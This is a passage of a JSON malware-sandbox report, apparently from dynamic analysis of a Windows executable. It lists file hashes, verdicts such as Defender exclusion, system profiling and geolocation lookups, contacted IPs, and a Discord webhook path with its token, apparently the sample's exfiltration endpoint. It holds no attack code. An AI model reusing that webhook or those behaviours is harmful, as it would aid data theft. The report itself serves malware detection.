data","filetype_short":"JSON","mime_type":"application/json"},"File:85ac46f9d1fd15ab12f961e51ba281bff8c0141fa122bfa21a66e13dd4f943e7":{"type":"File","value":"85ac46f9d1fd15ab12f961e51ba281bff8c0141fa122bfa21a66e13dd4f943e7"},"File:890d3522062a81f970a2c91acea9c68b91c9d77013afc34d5a950269b9e994b6":{"type":"File","value":"890d3522062a81f970a2c91acea9c68b91c9d77013afc34d5a950269b9e994b6"},"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb":{"type":"File","value":"8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","verdict":{"verdict":"malicious","verdict_source":"dynamic analysis","reasons":["Adds exclusion path for Windows Defender","Attempts to query public IP/geolocation using external service","Detected malicious dynamic behaviour","Found several actions used for system profiling and information gathering","PE file has invalid certificate","Sample drops '.exe' file to %TEMP% directory"]},"filetype":"PE32+ executable (GUI) x86-64, for MS Windows, 7 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:8c3c2d959cbafac81defef2f4e532e27fb2a5a6380f0741c0b04df92ae067bbe":{"type":"File","value":"8c3c2d959cbafac81defef2f4e532e27fb2a5a6380f0741c0b04df92ae067bbe","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from powershell_base64)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:8ef867d7b165095fb59db59732c8ef202ebf1e77701571d1b675c6d9b4cba4ac":{"type":"File","value":"8ef867d7b165095fb59db59732c8ef202ebf1e77701571d1b675c6d9b4cba4ac","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213":{"type":"File","value":"90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213"},"File:945cd2ab650c55e4783f842ba98a1c3c511554ed10ee380d6e764d229040a339":{"type":"File","value":"945cd2ab650c55e4783f842ba98a1c3c511554ed10ee380d6e764d229040a339","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (330), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:95595c287f6ee28ecb1be4e20c98d7abbcae40488da6b53d862b97630d962b54":{"type":"File","value":"95595c287f6ee28ecb1be4e20c98d7abbcae40488da6b53d862b97630d962b54","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/octet-stream"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:9832508609e497ee3e8301fccd8bf78819dfb0e308cd191f288730ce491f5a72":{"type":"File","value":"9832508609e497ee3e8301fccd8bf78819dfb0e308cd191f288730ce491f5a72","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (320), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/html"},"File:98a051822ca485e34d1ba97eb391c8f9abdab4cbc454822c0ca5ca05f767ac9e":{"type":"File","value":"98a051822ca485e34d1ba97eb391c8f9abdab4cbc454822c0ca5ca05f767ac9e","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:9a2c104465a1ab8078af40725859f8ab9df0425dcab602331e009e85fdc2c5ca":{"type":"File","value":"9a2c104465a1ab8078af40725859f8ab9df0425dcab602331e009e85fdc2c5ca","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (349)","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:9a97db43474bdf9b9266c6c7dc4f833263324c5459501f393494eeb2d1181b03":{"type":"File","value":"9a97db43474bdf9b9266c6c7dc4f833263324c5459501f393494eeb2d1181b03","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:a2edcc2f5e136fe3c578afb93023879c1518429a30905841416cfe56059b709b":{"type":"File","value":"a2edcc2f5e136fe3c578afb93023879c1518429a30905841416cfe56059b709b","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:a313432b19a13af8c8b85a6df35ca27d3584844a564817d1b34fbe31216960ad":{"type":"File","value":"a313432b19a13af8c8b85a6df35ca27d3584844a564817d1b34fbe31216960ad","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:a601cea5fcf695fc0f0f0f56d25da6c2effa369fff3d749f82a804cfa0b67918":{"type":"File","value":"a601cea5fcf695fc0f0f0f56d25da6c2effa369fff3d749f82a804cfa0b67918","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text","filetype_short":"ASCIITEXT","mime_type":"application/x-pem-file"},"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf":{"type":"File","value":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},"File:a930d4d519d0eb4fcd6a8ca751efa6a07f00d61e73934ab42e422fde43d84c1a":{"type":"File","value":"a930d4d519d0eb4fcd6a8ca751efa6a07f00d61e73934ab42e422fde43d84c1a"},"File:ab2b2386b15d05fdb809ed636b921fa78c1a203700adcc234289d43d9e6a3380":{"type":"File","value":"ab2b2386b15d05fdb809ed636b921fa78c1a203700adcc234289d43d9e6a3380","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:ae4f879b42c4007682c3d7fb8a28a3b81103111fba8eb4f9f603baa800ac14bf":{"type":"File","value":"ae4f879b42c4007682c3d7fb8a28a3b81103111fba8eb4f9f603baa800ac14bf","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from detonation memory_region)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:b3a6b390c344dcd3ef8098e44c955fe2269a588059f4190a37fac479d6ad6a97":{"type":"File","value":"b3a6b390c344dcd3ef8098e44c955fe2269a588059f4190a37fac479d6ad6a97","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:b5bea41b6c623f7c09f1bf24dcae58ebab3c0cdd90ad966bc43a45b44867e12b":{"type":"File","value":"b5bea41b6c623f7c09f1bf24dcae58ebab3c0cdd90ad966bc43a45b44867e12b","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:b5d0241e9dc7cf46d4eb3846cf5e0425bb08eefa1d5e04ed8793f721909c4cf6":{"type":"File","value":"b5d0241e9dc7cf46d4eb3846cf5e0425bb08eefa1d5e04ed8793f721909c4cf6","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:b9276935eddae83288dfe7e843d992c8fcb658b48ccd3d4fce68546ef8f30070":{"type":"File","value":"b9276935eddae83288dfe7e843d992c8fcb658b48ccd3d4fce68546ef8f30070","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:bda72f664da07e942423dc1d13556150f3c838131cc6146625e4020ecf304908":{"type":"File","value":"bda72f664da07e942423dc1d13556150f3c838131cc6146625e4020ecf304908","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:c0893829a00b970870c15e3797825252795a3065e3d2e6d94160162272f4a076":{"type":"File","value":"c0893829a00b970870c15e3797825252795a3065e3d2e6d94160162272f4a076","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:c09e64fec660e5bec9969c567b880b833b0957d7d24ee517ae09f4c92f8b9a5e":{"type":"File","value":"c09e64fec660e5bec9969c567b880b833b0957d7d24ee517ae09f4c92f8b9a5e","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (320), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/html"},"File:c3024b95f7f1757d9496c8171eaca5f8b9bb8c7cd7f6077077b5aaa1302b0ca4":{"type":"File","value":"c3024b95f7f1757d9496c8171eaca5f8b9bb8c7cd7f6077077b5aaa1302b0ca4"},"File:c30caf24f37d9340e398fb5b859cf6e90c377ad0cde19b92bef789d76c6ffc56":{"type":"File","value":"c30caf24f37d9340e398fb5b859cf6e90c377ad0cde19b92bef789d76c6ffc56","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:c386039d9e5e41d5d968338da9ddf1a64019036b42b0dc6a31d6bf94c8292227":{"type":"File","value":"c386039d9e5e41d5d968338da9ddf1a64019036b42b0dc6a31d6bf94c8292227","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:c87049621d93a84015e42ea51fa78f7e7f7f0dd40ce766ed110acf96e26035ae":{"type":"File","value":"c87049621d93a84015e42ea51fa78f7e7f7f0dd40ce766ed110acf96e26035ae","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:c928c7d2e917a68d1789bebffceff2dcbc08dbb7a1590fa253664a3eed2ab5f4":{"type":"File","value":"c928c7d2e917a68d1789bebffceff2dcbc08dbb7a1590fa253664a3eed2ab5f4","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (576), with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/html"},"File:c965531723489196a616d0dc60848d837fb4aa93a2f2817319e07f2d289344f2":{"type":"File","value":"c965531723489196a616d0dc60848d837fb4aa93a2f2817319e07f2d289344f2","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},"File:cdb5cf0187eb1aa095fe47d1a8b60866caf750e6f4386d5a0af89b2b1c3489ae":{"type":"File","value":"cdb5cf0187eb1aa095fe47d1a8b60866caf750e6f4386d5a0af89b2b1c3489ae","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:ce984affe06ea2ff73c0e4a56ab5febfb5d9b2da9e97ef02d93a1878eb05015e":{"type":"File","value":"ce984affe06ea2ff73c0e4a56ab5febfb5d9b2da9e97ef02d93a1878eb05015e","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:cf0af841b79e362e243b7669e6e424811d842ba0254752e13cd3cfb0a539bd38":{"type":"File","value":"cf0af841b79e362e243b7669e6e424811d842ba0254752e13cd3cfb0a539bd38","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (315)","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"File:d36b93c635ea776fe9ea8eb6bcdd914491e8112513d3a63db6b39cf9f554789f":{"type":"File","value":"d36b93c635ea776fe9ea8eb6bcdd914491e8112513d3a63db6b39cf9f554789f"},"File:d3795fda398edfc236d6e7e6ccb403aa4f2f1445847dc8a502cb53c324aca3e1":{"type":"File","value":"d3795fda398edfc236d6e7e6ccb403aa4f2f1445847dc8a502cb53c324aca3e1"},"File:d5fe222a39e07a059b5612750857edf1dc743413003e301d3dd0520159bdb4a7":{"type":"File","value":"d5fe222a39e07a059b5612750857edf1dc743413003e301d3dd0520159bdb4a7"},"File:d83ae4b10010c217ac386998e689b07b5d7bf2aeec632f9876ffef59c2b8860f":{"type":"File","value":"d83ae4b10010c217ac386998e689b07b5d7bf2aeec632f9876ffef59c2b8860f","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:dac991496beb292a8a970fcec16cd051c737e65aed54e51d9e52f0af1ce300b6":{"type":"File","value":"dac991496beb292a8a970fcec16cd051c737e65aed54e51d9e52f0af1ce300b6","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:e04eaf274ffe0a28f354148a80ae4e445814b5b5a8f30758d334d4fa86fb59d7":{"type":"File","value":"e04eaf274ffe0a28f354148a80ae4e445814b5b5a8f30758d334d4fa86fb59d7","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"PE32+ executable (console) x86-64, for MS Windows, 7 sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"File:e25dbf447c5ee047309b49a8c963f46976d63aaf43948085471fb0f558e2003d":{"type":"File","value":"e25dbf447c5ee047309b49a8c963f46976d63aaf43948085471fb0f558e2003d","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"data (from pe_extract_certificates)","filetype_short":"DATA","mime_type":"application/x-iso9660-image"},"File:e2aff78aecb13f44069b96909885f3c4c7a6b202408f41160741a2f6fdbce3b5":{"type":"File","value":"e2aff78aecb13f44069b96909885f3c4c7a6b202408f41160741a2f6fdbce3b5"},"File:e33e96ee3e4135b92cbdb987337d3cf8e438f1cca96c87dec682b586b6807ce9":{"type":"File","value":"e33e96ee3e4135b92cbdb987337d3cf8e438f1cca96c87dec682b586b6807ce9"},"File:e5fd4abfb4f5cdc9343d57c92c927f99647ad4588848821f7a271b76b8f5a421":{"type":"File","value":"e5fd4abfb4f5cdc9343d57c92c927f99647ad4588848821f7a271b76b8f5a421","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:e624abfb29b61f3db2d25f44f66bf1cf5c5012174577e7b55d9f54fa3a1225ca":{"type":"File","value":"e624abfb29b61f3db2d25f44f66bf1cf5c5012174577e7b55d9f54fa3a1225ca","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:eb588e63f7c3b529d1563994242cdd9b59edc46b8c7a29685c689955946130f3":{"type":"File","value":"eb588e63f7c3b529d1563994242cdd9b59edc46b8c7a29685c689955946130f3","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:ec145295c9f14080d8bc0afcbbc89336225860a66ab858f497b6ce4385905ebc":{"type":"File","value":"ec145295c9f14080d8bc0afcbbc89336225860a66ab858f497b6ce4385905ebc","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/plain"},"File:ee0d5ee953d08b584864291645224ffc885101cbe3d7941d572709d9997ac5bd":{"type":"File","value":"ee0d5ee953d08b584864291645224ffc885101cbe3d7941d572709d9997ac5bd","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with no line terminators","filetype_short":"ASCIITEXT","mime_type":"text/html"},"File:ee390c28c14e0c33a5601f12eb5d04bdff0ecfb334ce402f4380b8e0ebf7d4de":{"type":"File","value":"ee390c28c14e0c33a5601f12eb5d04bdff0ecfb334ce402f4380b8e0ebf7d4de"},"File:eee7c64ef7de30dbda1d826bb3b1c3282602d9ef86e5e999a0cd6551287f29d8":{"type":"File","value":"eee7c64ef7de30dbda1d826bb3b1c3282602d9ef86e5e999a0cd6551287f29d8"},"File:effce005d614648a9b1ba0f32d73b3258fcad5bbb70ad69c608e2ad38250cb4e":{"type":"File","value":"effce005d614648a9b1ba0f32d73b3258fcad5bbb70ad69c608e2ad38250cb4e","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"JSON text data","filetype_short":"JSON","mime_type":"application/json"},"File:fa6fe263296cf07476ba7ad901b51213a3e5cbaf17b270bad13e5e106ff51157":{"type":"File","value":"fa6fe263296cf07476ba7ad901b51213a3e5cbaf17b270bad13e5e106ff51157","verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]},"filetype":"ASCII text, with very long lines (328)","filetype_short":"ASCIITEXT","mime_type":"application/x-powershell"},"Ip:142.251.218.227":{"type":"Ip","value":"142.251.218.227"},"Ip:162.159.136.232":{"type":"Ip","value":"162.159.136.232"},"Ip:162.159.137.232":{"type":"Ip","value":"162.159.137.232"},"Ip:162.159.138.232":{"type":"Ip","value":"162.159.138.232"},"Ip:208.95.112.1":{"type":"Ip","value":"208.95.112.1"},"Url:/api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7":{"type":"Url","value":"/api/webhooks/1120633710593708134/ZoZyZIHuvI2eAk4qtG_q_8YZdAu6uqYOfGqQ_7lMVvTGN8946jxob5LBev743bLvUwN7"},"Url:/generate_204":{"type":"Url","value":"/generate_204"},"Url:/json/?fields=225545":{"type":"Url","value":"/json/?fields=225545"}},"chains":[{"id":"1560354084167772500","root":"File:5d8ff395da0e15decaa930e965098b54ccf41235fe187efeba305a92e753aa44","edges":[],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086373976487","root":"File:5d8ff395da0e15decaa930e965098b54ccf41235fe187efeba305a92e753aa44","edges":[{"edge_kind":"extracted","from_key":"File:5d8ff395da0e15decaa930e965098b54ccf41235fe187efeba305a92e753aa44","to_key":"File:48d1b37a6e8baa7c4dbc9b2d39f2ac662f185248c80eb85c3261822381753d56"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354088529848819","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[],"verdict":{"verdict":"malicious","verdict_source":"dynamic analysis","reasons":["Adds exclusion path for Windows Defender","Attempts to query public IP/geolocation using external service","Detected malicious dynamic behaviour","Found several actions used for system profiling and information gathering","PE file has invalid certificate","Sample drops '.exe' file to %TEMP% directory"]}},{"id":"1560354082003511620","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"contacted_domain","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"Domain:b62811dc099c200b5276b9cf3ed84ab9eb772adc3fc1e5c62cf2e275cf8f0e01"}],"verdict":{"verdict":"unknown"}},{"id":"1560354081999317290","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"contacted_domain","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"Domain:c8e8f9f979e435f9efb6dd72f274fdd609fc813c13b5070eec30da1a080ae5f1"}],"verdict":{"verdict":"unknown"}},{"id":"1560354082003511614","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"contacted_domain","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"Domain:f7864750d075d8a7a1b852ca3083aab9e11af5f37ee15dfa26a2caacc5ebede7"}],"verdict":{"verdict":"unknown"}},{"id":"1560354086386559401","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"memory","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:29abceafd8094a3fe45c77f36cad3e5394ae6aa35b4b46beaf1f2e1bcfb885b3"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086411725226","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:34745d678aa668c068ecd3cf960ad887e973bdc634dbb30007ae138193c28e23"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086436891051","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:4225cc22d4fc01a17c96eafe4d3eb0bad958a14db1f98723a2e5cf3229692327"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086067792283","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:42ae0f9629955ae622c2694fc57e8ebafb81dbf79c8b76746d1518b7ed092fce"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086483028396","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:4dc7cc57c80c4ed10be49f0fb1e65dc7f8aaef5ea783e161d7f98ec0d0ba2145"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086118123933","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"memory","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:573e4818d292430702085910c4f74658b9fb5e9dcd77ed33beb44b2f9e17f529"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086537554349","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:5aaf72de63b5ac3628fd90569a07439f76e44f3a85dd6a2da967554f2f7ca4e7"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086566914478","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:6889a1b7caff6f1651a71c015c8df4da42aaa7a310141f97797e1d9e9d593b7d"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086587885999","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"memory","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:69f98f9af7972a3c3f0b05d8af1c9031b76e33ea96e8f6f5f5a268f39ba9c623"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086613051824","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"memory","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:72bf4214e2cc18d6ee009bef8c28164e50da819d8cbc1efe2e49a2c63fc5d135"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086210398624","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"dropped","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:7b2f3e233581b70da11455d426e75e6c301d4dd6e5dd05f6952f1b5990879cb2"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086663383473","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:8ef867d7b165095fb59db59732c8ef202ebf1e77701571d1b675c6d9b4cba4ac"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086692743602","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"memory","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:95595c287f6ee28ecb1be4e20c98d7abbcae40488da6b53d862b97630d962b54"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086717909427","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:9a2c104465a1ab8078af40725859f8ab9df0425dcab602331e009e85fdc2c5ca"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086743075252","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"memory","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:ae4f879b42c4007682c3d7fb8a28a3b81103111fba8eb4f9f603baa800ac14bf"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086042626458","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:c965531723489196a616d0dc60848d837fb4aa93a2f2817319e07f2d289344f2"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external service"]}},{"id":"1560354086797601205","root":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","edges":[{"edge_kind":"extracted","from_key":"File:8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","to_key":"File:cf0af841b79e362e243b7669e6e424811d842ba0254752e13cd3cfb0a539bd38"}],"verdict":{"verdict":"suspicious","verdict_source":"dynamic analysis","reasons":["Attempts to query public IP/geolocation using external 